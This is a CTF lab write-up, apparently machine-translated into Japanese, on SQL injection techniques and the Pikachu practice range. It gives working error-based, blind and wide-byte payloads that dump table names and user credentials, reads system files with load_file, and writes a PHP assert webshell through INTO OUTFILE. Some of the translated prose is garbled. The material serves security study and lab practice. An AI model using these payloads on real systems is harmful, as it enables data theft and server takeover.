CTF 調査ノート - SQL インジェクション

SQL インジェクション

SQL インジェクションの分類

1)エコーアブルインジェクション

クエリと組み合わせることができるインジェクション
エラー インジェクション
エコーの目的を達成するために、インジェクションによって DNS 要求を行います。

2) 非エコー可能注入

ブール ブラインド
タイム ブラインド

3) 2 回目の注入

これは通常、複雑なビジネス ロジックを伴うトピックとして表示され、通常、自動注入を実現するには独自のスクリプトを作成する必要があります。SQL インジェクションは、さまざまなデータベースが関係する CTF 競技会で非常に一般的です。一般的なCTFコンペティションでは、設問作成者が偽装してWAFのレイヤーを追加し(例えば、キーワードをフィルタリングするなど)、問題解決の思考経路だけを残します。このポイントをバイパスして、フラグを取得します。

Unionable クエリ インジェクション

これは通常、クエリ結果をエコーし​​、一重引用符を閉じてから、union 自体の次のクエリ ステートメントをコメント化します。通常、いくつかの特定の単語 (スペース、選択、および、またはなど) をバイパスする必要があります。

エラー注入

1)updatexml

本質的に、関数はエラーを報告します

次のペイロード:

画像-20220819161558290

updatexml(XML_document,XPath_string,new_value);
  • XML_document: XML ドキュメント オブジェクトの名前である XML_documentString 形式の文字列形式。

  • DocXPath_string: XPath 形式の文字列。

  • new_value: 文字列形式。基準を満たす見つかったデータ ドキュメント オブジェクトの名前を置き換えます。

エラー挿入の原則: concat() 関数はそれを文字列に接続するため、XPATH_string の形式に準拠せず、形式エラーが発生し、ユーザーの操作を中断します。

0x7eASCIIコードですが、実はupadtexml()のエラーメッセージは特殊文字と文字と以下の内容で、前の文字をなくすために先頭に特殊文字がつながっています

一般的なエラー挿入ステートメント

查询到数据库版本
and (updatexml(1,concat(0x7e,(select version()),0x7e),1))

查询当前数据库
and (updatexml(1,concat(0x7e,(select database()),0x7e),1))

获取当前数据库表名结构
and (updatexml(1,concat(0x7e,(select(select group_concat(table_name) from information_schema.tables where table_schema=database())),0x7e),1))

查询该表的字段
and (updatexml(1,concat(0x7e,(select(select group_concat(column_name) from information_schema.columns where table_schema =database() and table_name='users')),0x7e),1))

查询字段中的内容
and (updatexml(1,concat(0x7e,(select(select group_concat(concat(role,0x7e,username,0x3A,password,0x7e)) from users)),0x7e),1))

2)床

簡単に言うと、フロア エラー レポートの原則は、rand と order by または group by の間の競合です。group by が一時テーブルにデータを挿入すると、rand() の複数の計算により、一時テーブルに挿入するときに主キーが繰り返され、エラーが報告されます。これは、concat() 内の SQL ステートメントまたは関数が以前に実行されたためです。エラーが報告されました。ステートメントはエラーを報告し、拒否されました。スローされた主キーは、SQL ステートメントまたは関数を実行した結果です。

具体的な原則については、https://www.secpulse.com/archives/140616.html または(52 メッセージ) フロア エラー インジェクションの分析原則_migi@forever のブログ - CSDN blog_floor エラーを参照してください。

爆库
id=1' and (select 1 from (select count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2)) x from information_schema.tables group by x) a) %23

爆表明
id=1' and (select 1 from (select count(*),concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2)) x from information_schema.tables group by x) a) %23
爆字段
id=1' and (select 1 from (select count(*),concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e,floor(rand(0)*2)) x from information_schema.tables group by x) a) %23
爆内容
id=1' and (select 1 from (select count(*),concat(0x7e,(select concat_ws(':',username,password) from users limit 0,1),0x7e,floor(rand(0)*2)) x from information_schema.tables group by x) a) %23

3)指数

exp() エラー報告の本質はオーバーフローエラー報告です. exp は e を底とする指数関数です. ただし, 数値が大きすぎるとオーバーフローが発生します. パラメータが 709 より大きい場合、exp 関数はオーバーフローし、エラーを報告します。

サブクエリとビット単位の否定により、DOUBLE オーバーフロー エラーが発生し、データが挿入されます。

mysql> select * from users where id=1 and exp(~(select * from (select database())a));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select `a`.`database()` from (select database() AS `database()`) `a`)))'

スクリプト言語では、エラーの一部の式が対応する文字列に変換されます。これにより、エラー挿入が有効になります。

4) その他

エラー インジェクションの詳細については、SQL インジェクション - エラー インジェクション_Qwzf のブログ - CSDN ブログを参照してください。

ブールブラインド

開発者がエラー メッセージをブロックすると、エラー挿入を実行できなくなります。ただし、true の場合はアクセスを返し、false の場合は false を返し、true の場合は通常のページに戻り、false の場合はエラー ページにジャンプするなど、true と false ではエコーが異なります。

Boolean ブラインド インジェクションの原則は、ブール値を返す and or or to splice ステートメントを使用することです. ステートメントの結果が true の場合、ページは 1 つの結果を表示し、ステートメントの結果が false の場合、ページは別の結果を表示します。声明の結果が正しいかどうかを判断し、この爆発に関する情報に従ってください。時間と労力がかかり、一般にツールを使用するか、スクリプトを作成してクラックします。

ブール値に基づくブラインド注入の主なパフォーマンス:
1. エラー メッセージが表示されない
2. 正しい入力か間違った入力かの 2 つのケースのみが表示されます (0 または 1 として考えることができます) 3. 正しい入力の下
で入力、入力と 1=1/and 1=2 と判断できることがわかった

プロセス

1. 判定注入:
id=1'and 1=2#. 例外が表示された場合は、以降の内容が正常に実行されたことを意味するため、bool 型の SQL インジェクションの可能性があります。

2. 爆発ライブラリ サンプルのデモ:

id=1'and length(database())>10#- 店長

id=1'and ascii(mid(database(),1,1))>115#– ライブラリ名

3. 爆薬テーブルのデモ例:

id=1'and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100#

4. バースト フィールドのサンプル デモンストレーション:

id=1'and ascii(mid((select% column_name from information_schema.columns where%20table_name='users'and table_schema=database() limit 0,1),1,1))>1000#

5. バースト データ サンプルのデモ:

id=1'and ascii(mid((select username from users limit 0,1),1,1))>1#

共通機能

1) 傍受機能
画像-20220825111120055

2) 変換機能
画像-20220825111143072

3) 比較機能

画像-20220825111202540

時盲

sleep() は、SQL ステートメントでスリープに使用される関数であり、ブラインド タイム インジェクションで一般的に使用されます。sleep(x) は、プログラムを x 秒間スリープ状態にすることができます。

1. 判定注入:

id=1'and sleep(10)#Web ページの応答時間に大幅な遅延がある場合は、時間ベースの SQL インジェクションがあることを示しています。

2. 爆発ライブラリ サンプルのデモ:

id=1'and sleep(if(length(database())>10,10,1))>10#--库长

id=1'and sleep(if(ascii(mid(database(),1,1))>115,10,1))#– ライブラリ名

3. 爆薬テーブルのデモ例:

id=1'and sleep(if((ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100),10,1))#

4. バースト フィールドのサンプル デモンストレーション:

id=1'and sleep(if(ascii(mid((select% column_name from information_schema.columns where%20table_name='users'and table_schema=database() limit 0,1),1,1))>1000,10,1))#

5. バースト データ サンプルのデモ:

id=1'and sleep(if(ascii(mid((select username from users limit 0,1),1,1))>1,10,1))#

共通機能

1) ディレイ機能

画像-20220825111234390

二次噴射

二次注入の理由は、データが最初にデータベースに入力されたときに、一部のフィルタリングとエスケープが実行されたためです. このデータの一部がデータベースから取得され、SQL ステートメントで結合されたときに、この間にフィルタリングは実行されませんでしたスプライシング, 構築された SQL ステートメントを実行できます.
二次注入のビジネス ロジックはより複雑であるため、一般的に競合他社で見つけるのは難しいため、質問作成者は通常、ソース コードを公開するか、この質問に二次注入があることを思い出させます。
二次注入のトピックでは、一般的に単純な二次注入ではなく、通常はエラー報告または Bool ブラインド注入と組み合わされます。たとえば、登録ページに入力されたユーザー名は、ログイン後に盲目的にエコーされるだけです。この時点で、登録とログインをシミュレートするスクリプトを作成する必要があります。

限界後の注入

調査の結果、MySQL のバージョン番号が 5.0.0 以上 5.6.6 未満の場合、次の場所でインジェクションを実行できることがわかりました。 SELECT フィールド FROM テーブル WHERE id > 0 ORDER BY id LIMIT {injection_point} もインジェクションできる次の
ペイロードを使用します:
SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1

注入ポイントの位置と発見

1. 一般的なインジェクション ポイントの場所
CTF では、インジェクション ポイントがフォームのユーザー名フィールドであるとは限りません。インジェクション ポイントが別の場所に隠されている場合もあります。以下に、いくつかの一般的なインジェクション ポイントを紹介しましょう。位置。
(1) GET パラメーターでのインジェクション GET での
インジェクション ポイントは、アドレス バーで URL とパラメーターを取得でき、Sqlmap を使用するか手動でインジェクションがあるかどうかを確認できるため、一般的に最も簡単に見つけることができます。
(2) POST でのインジェクション POST
でのインジェクション ポイントは、通常、Burp やブラウザ プラグインの Hackbar を使用して POST パケットを送信するなど、パケット キャプチャ操作を通じて検出する必要があります。同様に、Sqlmap または手動検証も使用できます。
(3) User-Agent での注入
User-Agent での注入を見つけたい場合は、Burp の Repeater モジュールまたは Sqlmap を使用することをお勧めします。Sqlmap のパラメーターを level=3 に設定すると、Sqlmap は User-Agent にインジェクションがあるかどうかを自動的に検出します. 注 (4
) Cookie 内のインジェクション Cookie 内の
インジェクションを見つけたい場合は、Burp の使用もお勧めします。リピーターモジュール。もちろん、Sqlmap では、パラメーターを level=2 に設定することもできます。これにより、Sqlmap は Cookie にインジェクションがあるかどうかを自動的に検出します。

2. 注入ポイントの有無の判断
次に、注入ポイントの位置を特定します。入力点でインジェクションがあるかどうかを判断する場合、まず元のプログラムで実行された SQL 文が

(1) 単一引用符の挿入
単一引用符の挿入は、最も一般的に使用される検出方法です. 原則として、単一引用符が閉じられていないと、SQL ステートメント内の単一引用符が正しくないというエラーが発生します。閉まっている。
(2) デジタル型は
and 1=1 (デジタル型) と閉じシングル クォーテーション マーク テスト文 'and 'l'='1 (文字列型) で判定 ここで Payload '1'='1 を使用する目的元のステートメントを閉じた後、一重引用符で囲みます。
(3) 数値の加減算による判断
例えば、遭遇した問題のリンクをキャッチした場合http://example.com/?id=2、以下を試すことができhttp://example.com/?id=3-1、結果が http://example.com/?id=2と同じであれば、SQL インジェクションの脆弱性が存在する可能性があることが証明されます。 idの入力ポイント。

バイパス

参考(メッセージ数80件) sqlインジェクションバイパスの方法まとめ_huanghelouziさんのブログ - CSDN blog_sql bypass

SQL 読み取りおよび書き込みファイル

いくつかの競合トピックに SQL インジェクションの脆弱性がありますが、データベースにはフラグが立っていません. 現時点では、ファイルを読み取るか、Shell を書き込んでさらに侵入するかを検討する必要があります.

ファイルの読み書きの基本条件
現在のユーザー権限でファイルを読み込めること。
ファイルはこのサーバーにあります。
パスが完成しました。
ファイル サイズが max_slowed_pa​​cket 未満です。
現在のデータベース ユーザーには FILE 権限があり、File_priv は yes です
。secure_file_priv の値は空です。値が特定のディレクトリの場合、このディレクトリ内のファイルのみを操作できます。
画像-20220825112732166

練習:

ピカチュウ SQL インジェクション - デジタル インジェクション (post)

  1. ページ表示

画像-20220821142856211

このページでは、選択する番号を選択し、データ、ユーザー名、および電子メールを返すことができます。

  1. ページのURLを注意深く観察し、見つけますか?id=xxx であり、当方の手入力に変更はありませんので、このタイトルは get リクエストではなく post リクエストであると推測され、url を使用してパラメーターを渡すことはできません。

[外部リンクの画像転送に失敗しました。ソース サイトにアンチリーチング メカニズムがある可能性があります。画像を保存して直接アップロードすることをお勧めします (img-XsJjMX8i-1661398104748) (C:\Users\SuZhe\Documents\MD Documents\CTF)特訓\image- 20220821143207160.png)]

  1. Burpsuite を使用してパケットをキャプチャしたところ、get リクエストであることがわかりました。

画像-20220821143252445

  1. パラメータを変更し、SQL インジェクションを実行します。
首先回忆一下sql注入的基本流程:
1.判断是否存在注入
2.判断字段数
3.判断显错位
4.判断库名
5.判断表名
6.判断列名
7.寻找具体数据
这里很显然存在注入,咱们就直接从第二步开始

1)判断字段数

ペイロード:id=3 order by 3&submit=%E6%9F%A5%E8%AF%A2
結果は次のとおりです。

[外部リンクの画像転送に失敗しました。ソース サイトにアンチリーチング メカニズムがある可能性があります。画像を保存して直接アップロードすることをお勧めします (img-n4ORtTPP-1661398104749) (C:\Users\SuZhe\Documents\MD Documents\CTF)特訓\image- 20220821143543641.png)]

次に、2 で並べ替えた結果:

画像-20220821143640088

このことから、フィールドの数は 2 であると判断します

2) 表示エラーの判定

実際、ここではどちらも間違って配置されていることは明らかですが、それでも
ペイロードを試してみると、id=3 union select 1,2&submit=%E6%9F%A5%E8%AF%A2
結果は次のようになります。

画像-20220821143952527

その結果、1 と 2 は明らかに間違ったビットです。

3) ライブラリ名を決定する

ペイロード:id=3 union select 1,database()&submit=%E6%9F%A5%E8%AF%A2

画像-20220821144559237

結果、図書館名はピカチュウ

4) テーブル名
ペイロードの判定:id=3 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#&submit=%E6%9F%A5%E8%AF%A2
結果は次のとおりです。

[外部リンクの画像転送に失敗しました。ソース サイトにアンチリーチング メカニズムがある可能性があります。画像を保存して直接アップロードすることをお勧めします (img-xkAXb2c3-1661398104751) (C:\Users\SuZhe\Documents\MD Documents\CTF特訓\image- 20220821145637992.png)]

テーブル名を取得します: httpinfo,member,message,users,xssblind

5) 列名の判定

users テーブルにデータがあるはずだと判断できるので、 users テーブルのカラムをブラストします。
ペイロード:id=1 union select group_concat(column_name),2 from information_schema.columns where table_name='users'#&submit=%E6%9F%A5%E8%AF%A2
結果は次のとおりです。

[外部リンクの画像転送に失敗しました。ソース サイトにアンチリーチング メカニズムがある可能性があります。画像を保存して直接アップロードすることをお勧めします (img-ztVnjzr4-1661398104754) (C:\Users\SuZhe\Documents\MD Documents\CTF)特訓\image- 20220821145832237.png)]

6) データを取得する

ユーザー名とパスワードの列に対してデータ ブラストを実行します。
ペイロード:id=1 union select username,password from users#&submit=%E6%9F%A5%E8%AF%A2

結果は次のとおりです。

画像-20220821150054347

したがって、この質問は完了し、一般的な ctf 質問にはここにフラグが付きます。この質問のタイプは、以前の知識ポイントでエコーできるインジェクションで結合クエリを使用できるインジェクションに属している必要があります。

  1. さらにクラッキング
    インターネットでチュートリアルを読んだところ、このレベルはそれ以上であることがわかりました.このパスワードのスタイルは md5 に少し似ていることがわかったので、admin のパスワードを使用して md5 を復号化しました.オンライン復号化 Web サイト: md5オンライン解読クラック、md5 解読暗号化 ( cmd5 .com)
    画像-20220821155425079

その結果、admin のパスワードは 123456、ピカチュウのパスワードは 000000、test のパスワードは abc123 です。

  1. ファイルの
    ペイロードを読み取ります。id=1 union select load_file('C:/Windows/win.ini'),1 from users#&submit=%E6%9F%A5%E8%AF%A2

  2. バックドア
    ペイロードを作成する:id=1 union select 1,'<?php assert($_POST[1]);?>' into outfile 'D:\software\phpstudy_pro\WWW\pikachu-master\pikachu-master\1.php'#&submit=%E6%9F%A5%E8%AF%A2
    この時点で、バックドア型トロイの木馬が作成されています. このプロセスに従って、Ant Sword を使用して接続し、Web サイトを制御できます. ここでは、ローカルに構築された射撃場なので、ファイル ディレクトリを直接開いて、正常に書き込まれたかどうかを確認します。

ピカチュウ SQL インジェクション - 文字インジェクション (get)

  1. インターフェイス表示

    インターフェイスはユーザー名を入力するための入力ボックスであることがわかります. 質問の名前 (get) から、これが get リクエストであることがわかるので、URL にパラメーターを直接渡すことができます. あなたはburpsuiteなしで行うことができます.
    画像-20220821150358497

    最初にランダムに入力してみましょう。name=xxx url であり、入力したユーザー名が存在しないことを示しています。

    [外部リンクの画像転送に失敗しました。ソース サイトにアンチリーチング メカニズムがある可能性があります。画像を保存して直接アップロードすることをお勧めします (img-gPXgHmnr-1661398104758) (C:\Users\SuZhe\Documents\MD Documents\CTF)特訓\image- 20220821162145523.png)]

    1. 反響可能な注射

    私たちはまだ注入する一般的なプロセスに従います。
    1) フィールドペイロードの数を判断する
    :?name=fancy' order by 2%23&submit=%E6%9F%A5%E8%AF%A2

    ペイロードの %23 は # です。URL の # には特別な意味があるため、エスケープする必要があります。
    結果は次のようになります。

    画像-20220821162431796

    フィールドの数は 2 です。
    2) 表示エラー ビット
    ペイロードの判定:?name=fancy%27%20union%20select%201,2%23&submit=查询

    これは文字インジェクションであるため、前のレベルのデジタル ペイロードとはまだ異なることに注意してください. ` 記号があり、
    結果は次のようになります。

    画像-20220821163336401
    3) データベースの
    ペイロードを決定します。?name=fancy%27%20union%20select%201,database()%23&submit=查询

    ライブラリ名:ピカチュウ

    4) 判定テーブル名
    ペイロード:?name=fancy%27%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23&submit=查询
    結果: httpinfo, member, message, users, xssblind
    5) 判定クラス名

    ペイロード:?name=fancy%27%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27%23&submit=查询
    結果: USER、CURRENT_CONNECTIONS、TOTAL_CONNECTIONS、id、ユーザー名、パスワード、レベル
    6) 特定のデータを取得する
    ペイロード:?name=fancy' union select username,password from users%23&submit=%E6%9F%A5%E8%AF%A2
    結果:
    [外部リンクの画像転送に失敗しました。ソース サイトにはリーチング防止メカニズムがある可能性があります。保存することをお勧めします。写真を直接アップロードしてください ( img-nMRfhGMB-1661398104759)(C:\Users\SuZhe\Documents\MD Documents\CTF Special Training Camp\image-20220821164131105.png)]

    7) ファイルを読む

    ペイロード:http://192.168.101.16/pikachu/vul/sqli/sqli_str.php?name=fancy' union select 1,load_file('C:/Windows/win.ini')%23&submit=%E6%9F%A5%E8%AF%A2
    8)写马ペイロード:http://192.168.101.16/pikachu/vul/sqli/sqli_str.php?name=fancy' union select 1,'<?php assert($_POST[2]); ?>' into outfile 'C:/phpstudy_pro/WWW/pikachu/vul/sqli/2.php'%23&submit=%E6%9F%A5%E8%AF%A2

    要するに、この 2 つの質問については、get と post の違い、およびペイロード構造の違いに注意してください. 実際、プロセスと内容は悪くありません.

数値注入と文字注入の違い

デジタル

入力パラメーター x が整数の場合、ソース コード内の SQL ステートメントの型は一般的に次のようになります。select * from <表名> where id = x

このタイプはクラシックと 1=1 と 1=2 で判断できます:
URL アドレスに入力するとwww.xxx.com/abc.php?id= x and 1=1、ページはまだ正常に実行されており、次のステップに進みます。

URL アドレスを入力し続け www.xxx.com/abc.php?id= x and 1=2、ページが正しく実行されない場合は、Sql インジェクションがデジタル インジェクションであることを意味します。

キャラクタータイプ

入力パラメータ x が文字型の場合、abc.php での SQL 文の型は一般的に次のようになります。

select * from <表名> where id = ‘x’

and '1'='1 and and '1'='2 を使用して、このタイプを判断することもできます。

URLアドレスを入力してください www.xxx.com/abc.php?id= x’ and ‘1’='1

ページは問題なく動作します。次のステップに進みます。

URLアドレスの入力を続ける www.xxx.com/abc.php?id= x’ and ‘1’='2

ページが正しく実行されない場合は、SQL インジェクションが文字型インジェクションであることを意味します。

ピカチュウ SQL インジェクション - 検索インジェクション

検索インジェクションに関連する sql ステートメントは、おそらく select xxcolumns from xxtable where param like '%input%' の形式です。本質は依然として文字の注入ですが、クロージャーは異なります。

  1. インターフェイスに
    [外部リンクの画像の転送に失敗しました。ソース サイトにアンチリーチング メカニズムがある可能性があります。画像を保存して直接アップロードすることをお勧めします (img-FhbS2R5j-1661398104760) (C:\Users\SuZhe\Documents\MDドキュメント\CTF特別合宿\ image-20220821172926400-16610741682063.png)]
  2. アイデア分析

これは検索タイプであるため、最初に検索を閉じてから、独自のクエリ ステートメントを追加してペイロードを形成する必要があります。

1) 最初に ' を使用して、これがクロージャかどうかをテストします
?name=ad'&submit=搜索

結果は次のとおりです。
画像-20220821173227512

もう一度試してみましょう。?name=ad%27%23&submit=搜索結果はエラーではありません。これは、これがクローズド メソッドであることを示しています。

  1. 注入し続ける

残りのアイデアは前の質問とほぼ同じなので、ここでは省略します。

ピカチュウ SQL インジェクション - xx 型インジェクション

本質は依然として文字の注入ですが、クロージャーはそれほど単純ではありません。したがって、この質問の鍵は、クロージャーを見つけることです

  1. テスト
    最初の使用: ペイロード:?name=fancy'&submit=%E6%9F%A5%E8%AF%A2結果は次のとおりです。画像-20220821174709295

このことから、クロージャーが **')** であると判断されるため、ペイロードが使用されます:?name=fancy')%23&submit=%E6%9F%A5%E8%AF%A2エラーは報告されず、説明は正しいです。

[外部リンクの画像転送に失敗しました。ソース サイトにアンチリーチング メカニズムがある可能性があります。画像を保存して直接アップロードすることをお勧めします (img-st27Mp4O-1661398104762) (C:\Users\SuZhe\Documents\MD Documents\CTF特訓\image- 20220821174941349.png)]

以下のルーチンも同様ですので、ここでは省略します。

ピカチュウ SQL インジェクション - 挿入インジェクション (ブラインド インジェクション)

INSERT INTO table name VALUES (value 1, value 2,…) または INSERT INTO table_name (column 1, column 2,…) VALUES (value 1, value 2,…) の形式であると思われます)。

更新型インジェクションに関連するSQL文は、おそらく UPDATEテーブル名SET列名=新しい値WHERE列名=特定の値という形式です。

  1. インターフェイス表示

画像-20220821175225755

(1) 挿入インジェクションが
ある場合は、データを挿入する登録ページにある必要があります。エコーがないのでエラー注入です。それでは、登録ページに行きます。内容は次のとおりです。

[外部リンクの画像転送に失敗しました。ソース サイトにはアンチリーチング メカニズムがある可能性があります。画像を保存して直接アップロードすることをお勧めします (img-ATW1tKjw-1661398104763) (C:\Users\SuZhe\Documents\MD Documents\CTF特訓\image- 20220821175333523.png)]

まず、パッケージを取得してチェックし、それがポスト リクエストであることを確認します。パラメータは次のとおりです。
画像-20220821175840967

クロージャーを探して、下の図に示すように、最後のパラメーターの後に ') を追加しましょう。

[外部リンクの画像転送に失敗しました。ソース サイトにアンチリーチング メカニズムがある可能性があります。画像を保存して直接アップロードすることをお勧めします (img-5eFVRFEo-1661398104764) (C:\Users\SuZhe\Documents\MD Documents\CTF)特訓\image- 20220821180034295.png)]

これは確かに閉鎖であることがわかりましたが、ページがエコーされないため、前の質問のように操作することはできません。ただし、前のステップからわかるように、登録中に sql ステートメントに問題がある場合はエラーが報告されるため、エラー インジェクションを使用します。

1) 爆発的なライブラリ
ペイロード:username=xixi' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit

[外部リンクの画像転送に失敗しました。ソース サイトにアンチリーチング メカニズムがある可能性があります。画像を保存して直接アップロードすることをお勧めします (img-IIA1aO5k-1661398104765) (C:\Users\SuZhe\Documents\MD Documents\CTF)特訓\image- 20220821191841343.png)]

2) 爆発物
ペイロード:username= ' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit

ペイロード:username= ' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),32,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit
注: ここでペイロードが 2 つあるのは、データ長が updatexml 関数の表示範囲 (32 文字が表示される) を超えており、残りを表示するにはペイロードに substr() 関数を追加する必要があるためです。文字。

3)
ペイロードの爆発:username= ' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit

ペイロード:username= ' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),32,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit

ペイロード:username= ' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),63,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit

4) 爆発的なデータ

ペイロード:username= ' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),1,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit

ペイロード:username= ' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),32,31),0x7e),1) or '&password=666666&sex=&phonenum=&email=&add=&submit=submit

ピカチュウ SQL インジェクション - 更新インジェクション

更新注入部分は、情報変更ページを注入することです. 最初にアカウントを登録してログインします. ログインが完了すると、個人情報を変更するためのボタンが表示されます. それをクリックします. インターフェイスは次のとおりです。

画像-20220821193025847

次に、パケットをキャプチャし、これがまだ post 要求であることを確認します。残りの操作は、insert の操作とほぼ同じです。

ピカチュウ SQL インジェクション - 削除インジェクション

削除型インジェクションに関連する sql ステートメントは、おそらく DELETE FROM テーブル名 WHERE 列名 = 値の形式です。
インターフェイス表示:画像-20220823215544163

削除インジェクションなので、最初にメッセージを追加してから、削除操作をキャプチャして、いくつかの GET 要求パケットがあることを確認しましょう
画像-20220823215514133

この get リクエストのインジェクション方法については、以前に理解したことがあります。さらに、ここには直接のエコーがないため、エラー注入を使用します。

1) 爆発的なライブラリ
ペイロード:?id=57 or updatexml(1,concat(0x7e,(select database()),0x7e),1)

画像-20220823220449364

ここで、burpsuite に直接ではなく、Web ページの URL に注入する必要があることに注意してください。

画像-20220823220541955

これを行うと、次のエラーが発生します

画像-20220823220630393

2) 残りのコンテンツは省略され、ペイロードと挿入物はまったく同じように挿入されます

ピカチュウ SQL インジェクション - http ヘッダー インジェクション

インターフェイス表示:

これは初期インターフェースです:

画像-20220823221439886

注意深く観察すると、右上隅にプロンプ​​トが表示され、ユーザー名とパスワードが直接表示されます。
[外部リンクの画像転送に失敗しました。ソース サイトにアンチリーチング メカニズムがある可能性があります。画像を保存して直接アップロードすることをお勧めします (img-9EJ88TcA-1661398104771) (C:\Users\SuZhe\Documents\MD Documents\CTF)特訓\image- 20220823222530120.png)]

ユーザー名とパスワードを入力すると、次のようになります。

[外部リンクの画像転送に失敗しました。ソース サイトにアンチリーチング メカニズムがある可能性があります。画像を保存して直接アップロードすることをお勧めします (img-uMQZz8zk-1661398104771) (C:\Users\SuZhe\Documents\MD Documents\CTF)特訓\image- 20220823221429553.png)]

この質問は非常に興味深い. Web サイトはユーザー名とパスワードを気にしませんが、ホスト (ID アドレス) だけでなく、ユーザー エージェントと HTTP 受け入れ情報も取得します。ポストリクエストでもありますが、ポストリクエストメソッドを使って今注入するのは明らかに適切ではありません。
最初にパケットをキャプチャしたところ、次のパケットが見つかりました。
画像-20220823224359477

この時点で、誰かが郵便パッケージを取り、それを注入しましたか? さて、ここで試してみたのですが、自動で別のページにリダイレクトされるようでうまくいかないので、実際に対処する必要があるのは、次の GET リクエスト パケットです。

1) インジェクションの存在を判断するために、
まずユーザー エージェントを操作し、ユーザー エージェントの後に "'" 記号を追加します (ここでは、ユーザー エージェントは文字列の文字列であるため、閉じられていると疑う理由があります。 「'」記号付き)。エラーが報告されていることが判明した場合は、ここに注入できることを意味します。

画像-20220823224848354

2) 爆発ライブラリ

それを次のように変更できますUser-Agent: 1' or updatexml(1,concat(0x7e,database()),0) or '

画像-20220823230008680

その後の操作は、従来のエラー注入プロセスです。

ブールブラインド

Boolean ブラインド インジェクションの原則は、ブール値を返す and or or to splice ステートメントを使用することです. ステートメントの結果が true の場合、ページは 1 つの結果を表示し、ステートメントの結果が false の場合、ページは別の結果を表示します。声明の結果が正しいかどうかを判断し、この爆発に関する情報に従ってください。時間と労力がかかり、一般にツールを使用するか、スクリプトを作成してクラックします。

ブール値に基づくブラインド注入の主なパフォーマンス:
1. エラー メッセージが表示されない
2. 正しい入力か間違った入力かの 2 つのケースのみが表示されます (0 または 1 として考えることができます) 3. 正しい入力の下
で入力、入力と 1=1/and 1=2 と判断できることがわかった

1) インジェクションの有無の判定
1. kobe' と 1=1# を入力すると、

[外部リンクの画像転送に失敗しました。ソース サイトにはアンチリーチング メカニズムがある可能性があります。画像を保存して直接アップロードすることをお勧めします (img-cZtRSi8S-1661398104774) (C:\Users\SuZhe\Documents\MD Documents\CTF特訓\image- 20220824161929863.png)]

2. kobe' と 1=2# を入力すると、次のようになります。

画像-20220824161942380

このことから、条件が true の場合と false の場合で、ページが異なるコンテンツを表示することがわかりました。したがって、私たちの考えは、後で条件ステートメントを接続し、条件ステートメントが正しいかどうかを判断して答えを見つけることです。

テスト例を以下に示します
kobe' and ascii(substr(database(),1,1))>113#

kobe' and ascii(substr((select TABLE_NAME from INFORMATION_SCHEMA.tables where TABLE_SCHEMA=database() limit 0,1),1,1))<112#

時盲

ブラインドタイムインジェクションを使用すると、何も見えなくなり、表示の違いから自分の発言が実行されたかどうかを判断できなくなります。では、sleep() を使用してください。

1) 注射の判断彼が長い間遅れていることをはっきりと感じてから、テキストをスワイプアウトすることで、注射の有無を判断できます
kobe' and sleep(3)#

2) 判断を続けるこのような文を使って、推測が正しいかどうかを判断し、段階的に答えを見つけることができますが、非常に時間と手間がかかります
kobe' and if((substr(database(),1,1))='p',sleep(5),null)#

ワイドバイトインジェクション

原理:

(1) ワイド バイト インジェクションの条件は、PHP が MySql にリクエストを送信するときに、ステートメント SET NAMES 'gbk' または set character_set_client =gbk を使用して 1 回エンコードすることです。

(2) ワイドバイトインジェクションの理由: 単一引用符や二重引用符などの特殊文字はエスケープされます

(3) ワイド バイト インジェクションの原則: エスケープに使用される \ が ASCII コードであり、クライアントによって渡されるパラメーターが GBK などのワイド バイト コードとしてエンコードされている場合、\ セクションの前に 16 進文字を挿入できます ( ASCII コードは、漢字の範囲に到達するには 128 より大きくなければなりません) mysql に、挿入されたバイトと \ が漢字であると認識させ、\ を使い果たし、エスケープを破棄します。

最初に burpsuite を使用してパケットをキャプチャし、データ領域のパラメーターを変更します。これは既知のユーザーであるため、最初に kobe を入力します。

画像-20220825083055571

1) 判定注射
以下の内容を入力しますname=kobe%df' union select 1,2#&submit=%E6%9F%A5%E8%AF%A2

画像-20220825083125710

デポジット注入を示し、エコー桁は 1 桁と 2 桁です。

2) 爆発ライブラリ

name=kobe%df' union select database(),user() #&submit=%E6%9F%A5%E8%AF%A2

画像-20220825083321985

フォローアップ コンテンツの詳細については説明しません。ひょうたんに従ってスクープを描くだけです。シンボルを避けることを忘れないでください。

3)注意点

1. このような表現は使用できませんunion select 1,table_name from information_schema.tables where table_name='users'#これは、「、addslashes() がエスケープ」するためであり、エラーが発生します。

2. ページでステートメント インジェクションを実行すると、インジェクションも失敗します.これは、リクエスト データ パケットが渡されるときに、入力したデータに対して URL エンコードが実行され、%df が %25df に転送されるためです。

おすすめ

転載: blog.csdn.net/xuanyulevel6/article/details/126521051